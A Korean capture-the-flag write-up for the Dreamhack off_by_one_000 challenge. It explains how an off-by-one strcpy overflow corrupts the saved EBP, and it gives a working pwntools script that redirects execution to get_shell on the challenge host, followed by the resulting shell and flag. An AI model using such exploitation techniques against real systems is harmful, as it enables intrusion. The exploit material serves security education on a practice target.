Description
이 문제는 서버에서 작동하고 있는 서비스(off_by_one_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, “flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
checksec
seo@seo-virtual-machine:~/Desktop/off_by_one$ checksec --file ./off_by_one_000 [*] '/home/seo/Desktop/off_by_one/off_by_one_000' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { initialize(); printf("Name: "); read(0, cp_name, 256u); cpy(); printf("Name: %s", cp_name); return 0; }
“Name: “을 출력하고,
전역변수인 cp_name
변수에 read
함수를 통해 256바이트만큼 입력받는다.
cpy()
를 호출하고,
다시 printf
함수를 통해 cp_name
데이터를 출력한다.
cpy
int cpy() { char dest[256]; // [esp+0h] [ebp-100h] BYREF strcpy(dest, cp_name); return 0; }
cp_name
문자열을 지역변수인 dest
에 복사하는데, 여기서 취약점이 발생한다.
strcpy
는 몇 바이트까지 복사하라는 조건 없이 \x00, 즉 NULL을 만날때까지 복사한다.cpy
함수의 dest
가 256바이트 크기이지만,
복사된 문자열은 256개의 char
+ \x00
이 되므로 1byte 오버플로우가 발생한다.
Stack
Solution
실제로 AAAA…를 256바이트만큼 입력받으면,
cpy’s ebp에 하위 1바이트가 \x00으로 덮어써지는 것을 확인할 수 있다.
cpy의 에필로그까지 수행되고 다시 main으로 복귀했을때,
main’s EBP가 하위1바이트가 덮어써졌기 때문에 dest 스택의 한 지점(dest+0x20)을 가리키게 된다.
(dest = 0xffffcfe0, dest+0x20 = 0xffffd000)
Main의 에필로그가 수행된다면,
leave에 의해,
(mov esp, ebp;)
esp 값은 ebp값(dest+0x20 주소)이 들어가게 되고,
(pop ebp;)
stack pointer인 esp는 1 dword 위로 올라가며,
이제 esp는 dest+0x24 주소를 가리키게 된다.
마지막으로 retn에 의해,
(pop eip; jmp eip;)
스택에 저장된 복귀주소인 dest+0x24 주소의 값으로 점프한다.
dest+0x24 주소는 POP 되어 그 주소의 값이 RIP에 저장되고,
stack pointer는 한번더 1 dword 위로 올라간다.
이렇게 EIP값이 컨트롤되는 것을 확인할 수 있었다.
다시 한번 정리해서 공격 페이로드를 짜본다면,
256바이트만큼 cp_name
을 입력받아 cpy의 dest
에 문자열을 복사할때,
\x00까지 복사시켜 cpy’s EBP 중 하위 1바이트를 \x00으로 덮어쓰게 만든다.
그러면, main에서 에필로그를 수행하고나면, eip는 dest의 어느 한 지점을 가리키기 때문에
처음에 cp_name
을 입력받을때, (get_shell 주소 4바이트) * 64만큼 채우면 된다.
ASLR 보호기법이 걸려있지 않아 그대로 get_shell 주소를 넣어주면 된다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') #p = process("./off_by_one_000") p = remote('host3.dreamhack.games', 9340) get_shell = 0x80485DB p.recvuntil("Name: ") payload = b"" payload += p32(get_shell) * 256 p.sendline(payload) p.interactive()
Result
seo@seo-virtual-machine:~/Desktop/off_by_one$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 9340: Done [*] Switching to interactive mode Name: ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0$ ls flag off_by_one_000 $ cat flag DH{fef043d0dbe030d01756c23b78a660ae}$